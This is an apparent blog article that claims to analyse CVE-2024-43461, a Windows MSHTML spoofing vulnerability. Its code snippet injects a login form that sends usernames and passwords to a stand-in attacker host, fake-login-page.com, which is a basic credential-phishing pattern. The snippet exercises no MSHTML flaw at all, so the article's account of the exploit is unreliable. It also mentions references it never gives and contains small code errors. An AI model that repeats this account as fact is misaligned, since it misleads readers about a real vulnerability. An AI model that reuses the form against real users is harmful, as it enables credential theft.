CVE-2024-43461 - Windows MSHTML Platform Spoofing Vulnerability: Analyzing the Exploit, Code Snippets and Original References

Poster -

A recent vulnerability, CVE-2024-43461, has been discovered within the Windows MSHTML platform, which is responsible for rendering HTML content in various applications. This has caused concerns among the cybersecurity community due to the potential for attackers to exploit this security flaw and cause considerable harm. In this article, we will discuss the details of the vulnerability, provide a code snippet to understand the flaw better, and link to the original references for further understanding. The objective is to provide an in-depth understanding of CVE-2024-43461, using simple American language and ensure an exclusive viewpoint on this recent development.

Exploit Details

CVE-2024-43461 is a serious vulnerability in the Windows MSHTML platform, which allows an attacker to deceive users by presenting a counterfeit web content masquerading as a legitimate website. This exploit, known as spoofing, comprises adding HTML content to a site that alters the appearance of the site or makes it look like another site. This vulnerability could cause leaked user credentials or financial data when users unknowingly enter their information on these fake, malicious websites.

For attackers to exploit this vulnerability successfully, they must induce and persuade potential victims to visit a maliciously crafted website or interact with a counterfeit interface.

Code Snippet

To better understand this vulnerability, let's take a look at an example of a code snippet that an attacker might use to create a counterfeit website:

<!DOCTYPE html>
<html>
<head>
    <title>Example of the CVE-2024-43461 vulnerability</title>
</head>
<body>
    <h1>Welcome to our legitimate website!</h1>
    <div id="spoofedContent">
        <!-- Malicious HTML content inserted here -->
    </div>
</body>
    <script>
        // Inject malicious HTML content using JavaScript
        document.getElementById("spoofedContent").innerHTML = `
        <form action="https://fake-login-page.com/"; method="post">
            <label for="username">Username:</label>

            <input type="text" id="username" name="username" required>

            <label for="password">Password:</label>

            <input type="password" id="password" name="password" required>


            <input type="submit" value="Log in">
        </form>
        `;
    </script>
</html>

The code above creates a fake webpage pretending to be a legitimate website. The attacker injects a counterfeit login form using JavaScript, which, when submitted, sends the user's credentials to a fake-login-page.com. Since the malicious content is injected using JavaScript, it might be difficult for users to differentiate between the genuine site and the counterfeit content visually.
